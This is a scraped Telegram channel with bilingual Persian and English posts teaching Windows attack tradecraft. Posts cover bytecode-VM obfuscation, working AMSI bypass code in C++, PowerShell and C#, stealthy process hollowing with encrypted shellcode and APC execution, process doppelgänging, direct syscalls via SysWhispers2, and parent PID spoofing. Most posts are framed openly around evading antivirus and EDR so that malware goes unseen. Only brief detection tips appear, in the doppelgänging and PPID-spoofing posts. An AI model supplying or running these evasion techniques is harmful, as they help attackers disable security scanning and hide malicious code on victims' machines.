ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
unsigned char bytecode[] = {
0xFF, // Fake NOP
0x01, 0x0A, // PUSH 10
0xAB, // Fake NOP
0x01, 0x14, // PUSH 20
0xFF, // Fake NOP
0x02, // ADD
0xCD, // Fake NOP
0x03 // PRINT
};

void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
case ADD:
push(pop() + pop());
break;
case PRINT:
printf("Result: %d\n", pop());
break;
case NOP1:
case NOP2:
case NOP3:
// Do nothing
break;
default:
printf("Unknown opcode: %02X\n", op);
return;
}
}
}





🔍 What Will the Analyst See?

In tools like Ghidra or IDA, the analysis becomes messy because:

The bytecode is not human-readable — it must be reversed.

The control flow is polluted with fake instructions.

Execution is intentionally obfuscated with meaningless operations.
🔥2
🧬 AMSI Bypass

«وقتی می‌خوای با PowerShell اجرا کنی، ولی AMSI مثل سگ دنبالت می‌کنه!» 🐕🚫




🎯 AMSI چیه دقیقاً؟

AMSI (Antimalware Scan Interface)
سیستمیه که تو ویندوز تعبیه شده تا محتواهایی مثل:

PowerShell Scriptها

VBScript / JScript

.NET Assemblies

Macros


رو قبل از اجرا، به آنتی‌ویروس (مثلاً Defender) بده برای اسکن 😑

یعنی حتی اگه تو RAM یه شل‌کد با PowerShell اجرا کنی، AMSI می‌تونه بفرسته سمت AV برای تحلیل → Detect 😵




😈 راه‌حل؟ خاموشش کن!

هدف ما اینه که تابع اصلی AmsiScanBuffer رو نابود کنیم یا فریب بدیم




🔧 روش اول: Patch کردن AmsiScanBuffer (کلاسیک‌ترین روش)

🔥 C++ کد خام:

HMODULE hAmsi = LoadLibraryA("amsi.dll");
FARPROC addr = GetProcAddress(hAmsi, "AmsiScanBuffer");

// RWX کردن تابع
DWORD old;
VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old);

// تبدیل تابع به RET (0xC3)
*(BYTE*)addr = 0xC3;
VirtualProtect(addr, 1, old, &old);

حالا هر چی بدی به AmsiScanBuffer، مستقیم رد میشه بدون اینکه اسکن شه




🧪 روش دوم: Bypass با PowerShell (برای RedTeamerها)

$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)

> این اسکریپت می‌گه AMSI خراب شده و دیگه scan نکنه!






🧪 روش سوم: AMSI Bypass در .NET (C#)

[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);



IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");

byte[] patch = { 0xC3 };
Marshal.Copy(patch, 0, addr, 1);




⚔️ روش‌های خفن‌تر و EDR-safe:

روش توضیح

Indirect Patching استفاده از Direct Syscall برای ناپدید شدن از API
Manual Mapping AMSI.dll رو دستی از حافظه حذف کن و کد خودت رو بذار
Memory Unhook + Patch ntdll رو پاکسازی کن، بعدش amsi.dll رو patch کن





⚠️ هشدار:

Defender روی Integrity بعضی DLLها مثل amsi.dll نظارت می‌کنه

اگر فقط 0xC3 بزنی، ممکنه EDR بفهمه Hook شده

امن‌ترین حالت → استفاده از DirectSyscall + RWX Section برای Patch کردن





🧰 ابزارهایی که AMSI رو Bypass میکنن:

ابزار توضیح

AMSITrigger ایجاد triggerهایی برای بررسی حساسیت AMSI
AMSI.fail مجموعه bypassهای مختلف
SharpBypassAmsi بای‌پس با C#
Invoke-AmsiBypass مخصوص PowerShell





😎 جمع‌بندی تاکتیکی:

اگر با چی کار کنی؟ AMSI کمک می‌کنه؟ راه‌حل بایپس

PowerShell Empire بله Patch در PS یا .NET
Cobalt Strike BOF معمولاً نه AMSI Patch در BOF
DLL Injection بله AMSI.dll Patch یا manual load
فایل ماکرو شدیدا بله Patch قبل از اجرای payload




🧬 AMSI Bypass

“You try to run your payload with PowerShell, but AMSI is on your tail like a rabid dog!” 🐕🚫




🎯 What is AMSI exactly?

AMSI (Antimalware Scan Interface) is a Windows feature that scans suspicious content before it executes, including:

PowerShell noscripts

VBScript / JScript

.NET assemblies

Office macros


😑 Even if you inject shellcode into RAM via PowerShell, AMSI can still hand it over to Defender for inspection → Detection! 😵




😈 The Solution? Trick it or Kill it.

Our goal: Disable or patch the AmsiScanBuffer function, the heart of AMSI’s scanning logic.




🔧 Method 1: Classic C++ Patching of AmsiScanBuffer

HMODULE hAmsi = LoadLibraryA("amsi.dll");
FARPROC addr = GetProcAddress(hAmsi, "AmsiScanBuffer");

// Make memory RWX
DWORD old;
VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old);

// Patch: Replace with RET (0xC3)
*(BYTE*)addr = 0xC3;

// Restore protection
VirtualProtect(addr, 1, old, &old);

Now anything passed to AmsiScanBuffer is just ignored and not scanned.




🧪 Method 2: PowerShell Bypass (For Red Teamers)

$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null, $true)

> This tells AMSI it failed to initialize — and disables scanning completely.






🧪 Method 3: AMSI Bypass in .NET (C#)

[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
3
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");

byte[] patch = { 0xC3 };
Marshal.Copy(patch, 0, addr, 1);




⚔️ More Advanced & EDR-Safe Techniques:

Method Denoscription

Indirect Patching Use direct syscalls to avoid detection through standard APIs
Manual Mapping Manually unmap amsi.dll from memory and inject your own version
Memory Unhook + Patch Clean up ntdll hooks and then patch amsi.dll safely





⚠️ Warning:

Windows Defender and EDRs monitor DLL integrity, especially for amsi.dll.
Patching with just 0xC3 might be flagged as suspicious hooking.

Safest Approach: Use Direct Syscalls + RWX memory region to patch dynamically and stealthily.




🧰 Tools for AMSI Bypass:

Tool Denoscription

AMSITrigger Generate custom payloads to test AMSI sensitivity
AMSI.fail Public collection of multiple AMSI bypasses
SharpBypassAmsi C#-based AMSI patcher
Invoke-AmsiBypass PowerShell bypass noscript





😎 Tactical Summary:

Payload Type AMSI Involved? Recommended Bypass

PowerShell Empire Yes PowerShell/.NET patch
Cobalt Strike BOF Usually no Patch AMSI in BOF (if needed)
DLL Injection Yes Manual patch or unmap AMSI
Office Macro Heavily Patch AMSI before macro payload
🔥2
بای‌پس آنتی‌ویروس با Process Hollowing پیشرفته

📎 عنوان پیشنهادی برای پست: "وقتی حتی EDR هم خاموش می‌مونه – هنر پنهان‌کاری حرفه‌ای"




🎯 هدف چیه؟

تو این مرحله می‌خوایم یه نسخه پیشرفته از Process Hollowing بنویسیم که:

‌ آنتی‌ویروس نخونه‌ش
EDR گیر نده
رفتارش توی لاگ‌ها نیفته




🧪 تکنیک‌های پیشرفته:

1 🔒 جایگزینی APIها با Native API (Anti-EDR)

بجای استفاده از VirtualAllocEx و WriteProcessMemory که اکثر EDRها روش حساسن، از Native API مثل NtAllocateVirtualMemory و NtWriteVirtualMemory استفاده کن:

ntdll = ctypes.windll.ntdll
ntdll.NtAllocateVirtualMemory(...)
ntdll.NtWriteVirtualMemory(...)

اکثر آنتی‌ویروس‌ها Hook گذاشتن روی توابع Win32. با استفاده از NTDLL مستقیم، از روشون در می‌ری.




2 🎭 Unhook کردن APIها از memory

وقتی آنتی‌ویروس‌ها DLLها رو hook می‌کنن، کد اصلی تو حافظه نیست.

تو می‌تونی نسخه اصلی NTDLL رو از دیسک بخونی و به جای حافظه hook شده overwrite کنی:

# Load clean copy of NTDLL
# Replace hooked functions in memory with clean ones

ابزارهایی مثل TitanHide یا EKRECON این کارو راحت می‌کنن.




3 📦 رمزنگاری شل‌کد (در لحظه اجرا Decrypt کن)

شل‌کد رو با یه الگوریتم ساده مثل XOR رمز کن، توی حافظه Decryptش کن:

def xor(data, key):
return bytearray([b ^ key for b in data])

encrypted_shellcode = xor(real_shellcode, 0x41)

🧠 این‌جوری شل‌کدت تو دیسک و حتی مموری قابل تشخیص نیست.




4 🎯 اجرای غیر مستقیم با QueueUserAPC یا NtCreateThreadEx

بجای CreateRemoteThread یا ResumeThread از QueueUserAPC استفاده کن:

kernel32.QueueUserAPC(shellcode_ptr, thread_handle, 0)

به جای اینکه مستقیم اجرا کنی نخ قربانیو مجبور میکنی shellcode تو رو اجرا کنه – خیلی خفنه!



🎭 Advanced Process Hollowing – EDR-Friendly Edition

📎 Suggested noscript: “When Even EDR Stays Silent – The Art of Stealth”




🎯 Goal:

We’re building a stealthy Process Hollowing implementation that:
Bypasses AV detection
Evades EDR hooks
Stays off behavioral logs

This is not your basic CreateRemoteThread hollowing – this is OPSEC-level red team tradecraft.




🧪 Advanced Techniques Breakdown




1🔒 Replace Win32 APIs with Native APIs (Anti-EDR)

EDRs aggressively hook Win32 APIs like:

VirtualAllocEx

WriteProcessMemory

CreateRemoteThread


👉 Use direct NTDLL syscalls instead:

ntdll = ctypes.windll.ntdll
ntdll.NtAllocateVirtualMemory(...)
ntdll.NtWriteVirtualMemory(...)

This bypasses EDR hooks entirely because most hooks are on kernel32/user32, not ntdll.




2 🎭 Unhooking API Functions from Memory

When EDRs hook DLLs (like ntdll.dll), they patch functions in memory.
You can overwrite these hooked functions with a clean copy from disk:

Read a clean ntdll.dll from disk

Replace the in-memory functions via manual patching


🛠 Tools like TitanHide, EkRecon, or custom unhookers help automate this.

Result: Your syscall path is clean, undetected by inline hooks.




3 📦 Shellcode Encryption & Runtime Decryption

Never embed raw shellcode in your binary or memory.

🔐 Encrypt your shellcode using a simple XOR or AES, and decrypt in memory at runtime:

def xor(data, key):
return bytearray([b ^ key for b in data])

encrypted = xor(shellcode, 0x41)
# Decrypt in memory just before execution

Makes it undetectable at rest and harder to flag during memory scans.




4 🎯 Indirect Execution via QueueUserAPC or NtCreateThreadEx

Avoid noisy functions like CreateRemoteThread or ResumeThread.

Instead, use stealthy execution primitives:

// Shellcode is already allocated & written to memory
QueueUserAPC(shellcode_ptr, thread_handle, 0);

This forces a suspended thread in a remote process to execute your payload when it wakes — looks legit, behaves clean.

Alternate: Use NtCreateThreadEx directly for more stealth over CreateRemoteThread.




🧠 Summary of Evasion Moves

Technique Purpose Bypass Level

Native API Calls (Nt*) Avoid Win32 API hooks AV + EDR
Manual Unhooking Clean execution flow EDR evasion
Encrypted Shellcode Prevent static/memory sigs AV evasion
Indirect Execution (APC) Behavioral stealth EDR + SIEM evasion
61
🔐 رمزگذاری Bytecode و اجرای آن داخل ماشین مجازی




🎯 هدف:

افزایش مقاومت VM در برابر تحلیل با رمزگذاری bytecode و decrypt کردن آن در زمان اجرا




🤔 چرا این کار رو می‌کنیم؟

وقتی bytecode ما به‌صورت plaintext داخل فایل باینری قرار داشته باشه حتی اگه پیچیده باشه با کمی بررسی می‌تونن به منطق برنامه پی ببرن

ولی اگر bytecode رمز شده باشه تا زمانی که decrypt نشه هیچکس نمی‌تونه بفهمه چی قراره اجرا بشه




🔒 رمزگذاری ساده با XOR

ما از یه کلید ساده برای XOR کردن bytecode استفاده می‌کنیم. مثلاً:

کلید: 0xAA


🔧 مثال رمزگذاری‌شده:

Bytecode قبل از رمزگذاری:

01 0A 01 14 02 03

رمز شده با XOR 0xAA:

AB A0 AB BE A8 A9

حالا اینو داخل باینری قرار می‌دیم




🧪 اجرای VM با Decryption داخلی

#define KEY 0xAA

unsigned char encrypted_bytecode[] = {
0xFF, // fake nop (همچنان باقی‌ست)
0xAB, 0xA0, // push 10 (رمز شده)
0xAB, // fake
0xAB, 0xBE, // push 20 (رمز شده)
0xFF, // fake
0xA8, // add (رمز شده)
0xCD, // fake
0xA9 // print (رمز شده)
};

unsigned char bytecode[sizeof(encrypted_bytecode)];

void decrypt_bytecode() {
for (int i = 0; i < sizeof(encrypted_bytecode); i++) {
switch (encrypted_bytecode[i]) {
case 0xFF: case 0xAB: case 0xCD:
bytecode[i] = encrypted_bytecode[i]; // fake ها رمز نشده‌ان
break;
default:
bytecode[i] = encrypted_bytecode[i] ^ KEY;
}
}
}





🧠 چرا این سخت می‌کنه؟

تحلیل‌گر داخل باینری هیچ نشانه‌ای از PUSH ADD یا PRINT نمیبینه چون bytecode رمز شده‌ست
فقط اگه کد decrypt رو درک کنه و bytecode رو در حافظه بعد از رمزگشایی بررسی کنه، متوجه میشه چه خبره


🔐 Bytecode Encryption & Execution Inside a Custom Virtual Machine (VM)




🎯 Goal:

To increase the resistance of your VM against reverse engineering by encrypting the bytecode and decrypting it only at runtime.




🤔 Why Encrypt the Bytecode?

If your bytecode is stored in plaintext inside the binary, no matter how complex your VM logic is, a skilled reverse engineer can eventually understand what the code does.

But if the bytecode is encrypted, it’s completely unreadable until it’s decrypted in memory during execution — making static analysis much harder.




🔒 Simple XOR Encryption

We’ll use a basic XOR scheme for encryption.

Key: 0xAA




🔧 Example

Original Bytecode:

01 0A 01 14 02 03

Encrypted using XOR 0xAA:

AB A0 AB BE A8 A9

This encrypted version is what gets embedded into your binary.




🧪 Runtime Decryption Inside the VM

#define KEY 0xAA

unsigned char encrypted_bytecode[] = {
0xFF, // fake nop (still there)
0xAB, 0xA0, // push 10 (encrypted)
0xAB, // fake
0xAB, 0xBE, // push 20 (encrypted)
0xFF, // fake
0xA8, // add (encrypted)
0xCD, // fake
0xA9 // print (encrypted)
};

unsigned char bytecode[sizeof(encrypted_bytecode)];

void decrypt_bytecode() {
for (int i = 0; i < sizeof(encrypted_bytecode); i++) {
switch (encrypted_bytecode[i]) {
case 0xFF: case 0xAB: case 0xCD:
bytecode[i] = encrypted_bytecode[i]; // leave fake ops as is
break;
default:
bytecode[i] = encrypted_bytecode[i] ^ KEY;
}
}
}




🧠 Why Is This Effective?

There's no trace of actual instructions like PUSH, ADD, or PRINT inside the binary.

Reverse engineers can't tell what will happen until the decryption logic runs

Even then, they’ll have to hook the VM at runtime or dump memory post-decryption to figure out the logic.


This adds a solid layer of obfuscation that slows down and frustrates reverse engineering efforts — especially when combined with junk instructions or virtualization tricks
2
– وقتی حتی دیسک هم نمی‌فهمه چی شد!

📎 بدافزاری که هیچوقت نشد – هنر Doppelganging


📌 این تکنیک چیه؟

برخلاف Process Hollowing که توش یه پردازش موجود رو دستکاری میکردی
اینجا یه پردازش فیک میسازی که حتی روی دیسک هم چیزی ازش دیده نمی‌شه 😮‍💨
دیسکش پاکه ولی پروسسش زنده‌ست!




🔥 چطوری کار می‌کنه؟

مراحل خلاصه‌ش اینه:

1 یه فایل مشروع رو با NtCreateSection باز میکنی


2 یه تراکنش NTFS باز میکنی (Transactional File)


3 داخل اون تراکنش فایل اجرایی رو تغییر میدی (یعنی بدافزارتو میریزی توش)


4 با استفاده از اون فایل در تراکنش یه پروسس جدید می‌سازی


5 بدون اینکه تراکنش commit بشه!



📌 یعنی چی؟ یعنی ویندوز هیچ‌وقت نمی‌فهمه همچین فایلی وجود داشته،
ولی پروسسش هنوز توی حافظه داره اجرا میشه 😶




🧪 چرا خیلی خفنه؟

آنتی‌ویروس‌ها نمی‌تونن از دیسک شناسایی‌اش کنن
لاگ فایل نداره
EDRها برای شناسایی باید خیلی عمیق باشن (و خیلی‌ها نیستن)




⚒️ ابزار واقعی برای اجراش:

ابزار معروف Process Doppelganging PoC از hasherezade

یا خودت با C / C++ و ntdll بنویسش




👁️‍🗨️ چطوری بفهمیم چنین چیزی توی سیستم اجرا شده؟

خیلی سخته ولی:

ابزارهایی مثل Sysmon با event های مشکوک می‌تونن کمک کنن

حافظه‌برداری با Volatility و بررسی PE‌های بدون مسیر فایل

بررسی پروسس‌هایی که PE header دارن ولی فایل فیزیکی ندارن


volatility -f mem.raw --profile=Win10x64_19041 malfind




🧠 جمع‌بندی:

Process Doppelganging یعنی:

> «بدافزاری که اجرا شده… بدون اینکه هیچ جا نوشته بشه!»



When Even the Disk Has No Clue!

📎 The Malware That Never Existed – The Art of Process Doppelgänging




📌 What’s the Idea?

Unlike Process Hollowing, where you hijack an existing process,
Process Doppelganging creates a fake process that doesn’t even exist on disk! 😮‍💨

The disk is clean
But the process is alive in memory




🔥 How Does It Work?

Here’s a simplified breakdown:

1 Open a legit executable using NtCreateSection.


2 Create a transactional NTFS file (TxF).


3 Modify the file inside the transaction – inject your malicious payload.


4 Use the modified transactional file to spawn a new process.


5 Don’t commit the transaction!






📌 What Does That Mean?

It means Windows never sees the modified file.
No file ever appears on disk — yet the process is running in memory. 😶




🧪 Why Is This So Powerful?

AVs can’t scan the disk – there’s nothing there.
No file logs to trace.
Most EDRs won’t detect it unless they go very deep (and many don’t).




⚒️ Real-World Tools:

Public PoC: Process Doppelgänging by hasherezade

Or roll your own in C/C++ using ntdll.dll and native APIs





👁️‍🗨️ How to Detect It?

It’s very tricky, but possible:

Tools like Sysmon may catch suspicious events

Memory forensics with Volatility

Look for processes with a PE header but no file path

Example command:

volatility -f mem.raw --profile=Win10x64_19041 malfind





🧠 Summary:

Process Doppelganging is:

>"Malware that runs… without ever being written to disk"
3
اجرای مستقیم syscall (Direct Syscalls)

«وقتی حتی آنتی‌ویروس هم نمیفهمه چی شد چون تو اصلاً از API ها استفاده نکردی!» 🕳️🔇




⚙️ Direct Syscall یعنی چی؟

تو ویندوز، وقتی یه تابع مثل VirtualAlloc, NtCreateThreadEx یا NtWriteVirtualMemory صدا زده می‌شه:

VirtualAlloc(...)

kernel32.dll

ntdll.dll

syscall instruction

🔍 پس همه‌چی از ntdll.dll رد میشه اینجا EDR می‌تونه Hook کنه و بفهمه چه اتفاقی افتاده



😈 حالا اگه ما کلاً بریم مستقیم سراغ syscall بدون استفاده از ntdll چی؟

EDR گم می‌شه، چون:

دیگه هیچ تابع مشکوکی دیده نمی‌شه
هیچ Call Stack مشکوکی نیست
هیچ API معروفی صدا زده نشده 😈




🔩 ابزارهای اجرای مستقیم Syscall:

1 SysWhispers2 🔊

> توابع syscall برای ntdll.dll رو بازسازی می‌کنه با استفاده از Assembly خالص



🔗 https://github.com/jthuraisamy/SysWhispers2

🔧 روش استفاده:

python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx --arch x64 --output syscall


→ فایل‌های syscall.h و syscall.c ساخته می‌شن، اینا رو داخل پروژه C/C++ می‌ذاری و دیگه مستقیم از Nt* استفاده می‌کنی.




2 Kraken / Tartarus / Ekko 🐙

ابزارهایی برای ساخت shellcode loader کاملاً stealth با:

Direct syscalls

ETW + AMSI Patch

RWX section

PPID Spoofing + Process Hollowing


🔗 https://github.com/CBHue/kraken

🔗 https://github.com/hlldz/tartarus




✍️ مثال ساده از NtAllocateVirtualMemory بدون ntdll:

// تعریف Prototype دستی
NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);

// اجرای مستقیم syscall
__asm {
mov r10, rcx
mov eax, 0x18 ; شماره syscall برای NtAllocateVirtualMemory در ویندوز خاص
syscall
ret
}




⚠️ نکات مهم:

مورد نکته

🛑 شماره syscall تو هر نسخه ویندوز فرق داره (Win10, Win11, Server)

🧠 راه‌حل استفاده از SysWhispers2 که اتوماتیک شماره‌ها رو میسازه

مشکلات اگه از حافظه نخوانی و بدون ntdll اجرا کنی، ممکنه EDR کلاً متوجه نشه چی اجرا شد





🧨 نکته امنیتی:

با direct syscall می‌تونی کامل:

Shellcode رو تو حافظه بریزی

VirtualProtect بزنی (RW → RX)

Thread اجرا کنی

و هیچکس نفهمه! حتی Sysmon هم شاید چیزی نبینه!






📦 ابزارهای حرفه‌ای در wild:

ابزار قابلیت

Kraken Loader کامل + Direct Syscall + AMSI/ETW Patch

ScareCrow شِل‌لودر stealth برای bypass EDR

NimlineWhispers مثل SysWhispers ولی با زبان Nim

Sleepy Direct Syscall اجرای stealth از داخل Threadهای خوابیده 😴





جمع بندی:

مرحله روش

1️⃣ Shellcode رو بخون از فایل یا resource
2️⃣ حافظه رزرو کن با NtAllocateVirtualMemory
3️⃣ کپی کن با NtWriteVirtualMemory
4️⃣ اجرا کن با NtCreateThreadEx
5️⃣ هیچ ردپایی نیست




🔇 When Even the AV Has No Clue — Because You Didn’t Use Any API!

🎯 Direct Syscalls in Windows




⚙️ What Are Direct Syscalls?

In Windows, when you call a function like VirtualAlloc, NtCreateThreadEx, or NtWriteVirtualMemory, it goes through multiple layers:

VirtualAlloc(...)

kernel32.dll

ntdll.dll

syscall instruction

🔍 EDRs usually hook ntdll.dll, since all system calls go through it. That’s how they monitor suspicious behavior.




😈 But What If You Skip All That?

What if you don’t use any WinAPI or even ntdll.dll?

No suspicious function calls
No suspicious call stack
No known APIs called

EDRs are left in the dark.




🔩 Tools for Direct Syscalls

1 🗣️ SysWhispers2

> Reconstructs syscall stubs for ntdll.dll using raw assembly.



📌 GitHub:
https://github.com/jthuraisamy/SysWhispers2

🔧 How to Use:

python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx --arch x64 --output syscall

This generates:

syscall.h

syscall.c


Include them in your C/C++ project, and directly call the Nt* functions bypassing ntdll




2 🐙 Kraken / Tartarus / Ekko

Advanced loaders using:

Direct syscalls

ETW + AMSI patching

RWX memory

PPID spoofing & Process Hollowing


📌 GitHub Repos:

https://github.com/CBHue/kraken

https://github.com/hlldz/tartarus



---

✍️ Example: Manual NtAllocateVirtualMemory
1
// Manual syscall prototype
NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);

// Direct syscall (inline assembly)
__asm {
mov r10, rcx
mov eax, 0x18 // syscall ID for NtAllocateVirtualMemory (depends on Windows version)
syscall
ret
}





⚠️ Important Notes

🔍 Issue 📌 Note

Syscall ID Varies between Windows versions (Win10, Win11, Server...)
💡 Solution Use SysWhispers2 — it handles syscall number mapping automatically
Detection If you avoid reading from disk and don’t touch ntdll.dll, EDRs may miss it entirely





🧨 Security Impact

With Direct Syscalls, you can:

Inject shellcode into memory
Set memory to executable (RW → RX)
Create threads to run it
…without triggering most modern AV/EDR tools.

Even Sysmon may miss it if the right evasion is used.




📦 Notable Real-World Tools

Tool Features

Kraken Full loader with direct syscalls, AMSI/ETW patching
ScareCrow Stealth shellcode loader to bypass EDR
NimlineWhispers SysWhispers-like tool using Nim
Sleepy Direct Syscall Execute syscalls from sleeping threads 😴





Final Flow:

Step Action

1️⃣ Read shellcode from file/resource
2️⃣ Reserve memory via NtAllocateVirtualMemory
3️⃣ Write to memory using NtWriteVirtualMemory
4️⃣ Execute with NtCreateThreadEx
5️⃣ No traces, no API logs — just stealth
2
Forwarded from GO-TO CVE
CVE-2021-34527-week-60.pdf
938.1 KB
سلام به همه عزیزان خوش اومدین به هفته 60 از برسی اسیب پذیری از GO-TO CVE امروز به برسی اسیب پذیری PrintNightmare برسی کنیم .

Week: 60
CVE: CVE-2021-34527
Type: RCE
Target: spoolsv.exe (Windows Print Spooler)

#week_60
👏2
🌀 اجرای دستورها با Jump Table

> اجرای غیرمستقیم دستورها برای مخفی کردن منطق اصلی و سخت‌تر کردن مهندسی معکوس





🎯 چرا Jump Table؟

در روش‌های قبلی از switch-case یا if-else مستقیم استفاده می‌کردیم این ساختارها توی دیاسمبلر خیلی راحت شناسایی میشن و تحلیل bytecode آسونه

اما با Jump Table ما به جای اینکه مستقیماً بگیم دستور بعدی چیه از یک جدول آدرس استفاده می‌کنیم که بر اساس opcode به تابع مربوط به اون دستور پرش کنه این باعث میشه مسیر اجرای برنامه غیرشفاف بشه




🔍 تفاوت ساده با پیچیده:

قبل:

switch(opcode) {
case 0x01: push(...); break;
case 0x02: add(...); break;
}

حالا:

void (*jump_table[256])();

jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
...
jump_table[opcode]();



🧪 پیاده‌سازی عملی:

1 تعریف jump table:

void handle_push() {
push(bytecode[pc++]);
}

void handle_add() {
int b = pop();
int a = pop();
push(a + b);
}


void handle_print() {
printf("Result: %d\n", pop());
}

void handle_fake() {
// nop
}


2 مقداردهی جدول:

void (*jump_table[256])();

void init_jump_table() {
for (int i = 0; i < 256; i++) jump_table[i] = handle_fake;

jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
jump_table[0x03] = handle_print;
}


3 اجرای bytecode:

void run_vm() {
while (pc < bytecode_length) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}





🎯 چرا این روش Obfuscated حساب میشه؟


ابزارهایی مثل Ghidra یا IDA به راحتی نمی‌تونن مسیر اجرای دستورات رو بفهمن

تحلیل‌گر باید دنبال جدول بگرده و بفهمه کدوم opcode به کدوم تابع میره

اگر این jump table در زمان اجرا ساخته بشه (مثلاً با رمزگشایی یا رمزگذاری دینامیک) کار حتی سخت‌تر هم میشه

🌀 Executing Instructions via Jump Table

→ Indirect Execution to Hide Logic & Obfuscate Reverse Engineering




🎯 Why Use a Jump Table?

In typical virtual machines or interpreters, you'd use a simple switch-case or if-else chain to handle opcodes.
But these control structures are very easy to analyze in disassemblers — tools like IDA or Ghidra detect them and decompile them cleanly.

👉 With a Jump Table, instead of directly stating which instruction to execute, you use a function pointer array indexed by opcode.
The program "jumps" to the function handling that instruction.

This breaks the control flow and makes the execution path much harder to follow.




🔍 Comparison: Straightforward vs Obfuscated

Before (simple):

switch(opcode) {
case 0x01: push(...); break;
case 0x02: add(...); break;
}


Now (obfuscated):

void (*jump_table[256])();
jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
...
jump_table[opcode]();





🧪 Practical Implementation

1 Define Handlers:

void handle_push() {
push(bytecode[pc++]);
}

void handle_add() {
int b = pop();
int a = pop();
push(a + b);
}

void handle_print() {
printf("Result: %d\n", pop());
}

void handle_fake() {
// NOP or bogus instruction
}





2 Initialize Jump Table:

void (*jump_table[256])();

void init_jump_table() {
for (int i = 0; i < 256; i++)
jump_table[i] = handle_fake;

jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
jump_table[0x03] = handle_print;
}





3 Execute Bytecode:

void run_vm() {
while (pc < bytecode_length) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}





🎯 Why Is This Considered Obfuscation?

💣 Reverse engineering tools like IDA, Ghidra, Radare2 struggle to reconstruct clean control flow when jump tables are involved.
The control logic is not linear, so the analyst needs to:

Find the table

Understand its structure

Resolve what opcode maps to which handler


🧬 If you generate the jump table at runtime, or even encrypt/decrypt it dynamically, the complexity increases dramatically.
This technique is commonly used in VM-based obfuscation, malware loaders, and custom packers
3
🎭 Parent PID Spoofing – «بابام پلیسه!» 🤡


📎"وقتی بدافزارت ادای PowerShell در میاره، ولی تهش خودشه..."




🎯 این تکنیک چیه؟

تو این روش، به جای اینکه یه پردازش بد ایجاد کنی و امیدوار باشی که کسی متوجهش نشه،
میای یه پردازش کاملاً قلابی می‌سازی، ولی یه نکته مهم داره:

📌 می‌گی بابای من یه برنامه‌ی قانونیه!
مثلاً بدافزارت میگه: منو explorer.exe اجرا کرده، یا svchost.exe، نه یه چیز مشکوک.




🧠 چرا این مهمه؟

ابزارهایی مثل Sysmon و اغلب EDRها، یه فاکتور خیلی مهم برای تشخیص بدافزار دارن:
کی این پردازش رو ساخته؟

📊 Parent PID یعنی شناسه پردازش پدر
اگه notepad.exe رو یه چیزی مثل calc.exe ساخته باشه مشکوکه

ولی اگه بدافزارت جعل کنه که پدرش explorer.exe بوده؟ خیلی تمیز رد میشه.




⚒️ چجوری اجراش کنیم؟

برای اینکار باید از تابع CreateProcess استفاده کنیم ولی با یه ترفند:


1 اول پروسس پدر مورد نظر (مثلا explorer.exe) رو پیدا کن


2 یه STARTUPINFOEX بساز با ساختار PROC_THREAD_ATTRIBUTE_PARENT_PROCESS


3 توی CreateProcess، اون Parent رو دستی ست کن



کد C++ شبه:

STARTUPINFOEX siex = { sizeof(siex) };
InitializeProcThreadAttributeList(...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...);
CreateProcess(..., &siex, ...);

📌 بعضی ابزارهای آماده مثل PPID Spoof by @3xpl01t هم هستن که اینکارو راحت‌تر می‌کنن.




🎯 استفاده حرفه‌ای؟

ترکیبش کن با:

Process Hollowing

Shinjecting

رمزنگاری شل‌کد


و یه بدافزار بساز که هم پنهانه، هم قابل قبول از دید EDR




🧪 تشخیص؟ خیلی سخته!

ولی:

چک کردن parent-child chains با ابزارهایی مثل Process Explorer

بررسی inconsistency توی Creation Time

رفتارشناسی: مثلا explorer.exe نباید rundll32.exe رو بسازه!





🧠 جمع‌بندی:

Parent PID Spoofing = جعل پدر برای رد شدن از سیستم‌های تحلیل رفتاری

🔐 این تکنیک خیلی تمیز، بدون نیاز به injection مستقیم، ولی به شدت مؤثره.
مخصوصاً وقتی می‌خوای در دل سیستم باشی ولی تو لاگ دیده نشی




🎭 Parent PID Spoofing – “My dad’s a police!” 🤡📎

“When your malware pretends it was launched by PowerShell, but it’s really just… itself.”




🎯 What Is This Technique?

Instead of launching a shady process and hoping nobody notices, this technique lets you create a fake, clean-looking process —
but with one crucial trick:

📌 You claim your parent is a trusted, legitimate process.

Your malware says:
“Explorer.exe launched me!”
or
“I was born from svchost.exe, not anything suspicious!”




🧠 Why Does It Matter?

Tools like Sysmon and most EDRs use a key behavior to detect threats:

👉 Who spawned the process?

This is the Parent PID (PPID).

📊 Example:

calc.exe spawned by notepad.exe? 🚩 Suspicious

